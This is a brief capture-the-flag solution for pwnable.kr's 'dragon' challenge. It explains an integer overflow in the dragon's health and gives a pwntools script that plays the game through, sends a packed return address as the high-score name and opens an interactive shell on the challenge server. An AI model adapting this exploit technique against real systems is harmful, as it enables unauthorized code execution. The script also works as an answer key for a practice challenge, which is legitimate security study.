Pwnable.kr - Rookiss category.
We can defeat the dragons by overflowing their health above 127. So, choose mage, use it to defeat mama dragon. Then send in ROP
chain as new name high score.
Coded in python
#!/usr/bin/python
from pwn import *
p = remote("pwnable.kr",9004)
p.sendline("1")
p.sendline("1")
p.sendline("1")
p.sendline("1")
p.sendline("3")
p.sendline("3")
p.sendline("2")
p.sendline("3")
p.sendline("3")
p.sendline("2")
p.sendline("3")
p.sendline("3")
p.sendline("2")
p.sendline("3")
p.sendline("3")
p.sendline("2")
payload = p32(0x08048dbf)
p.sendline(payload)
p.interactive()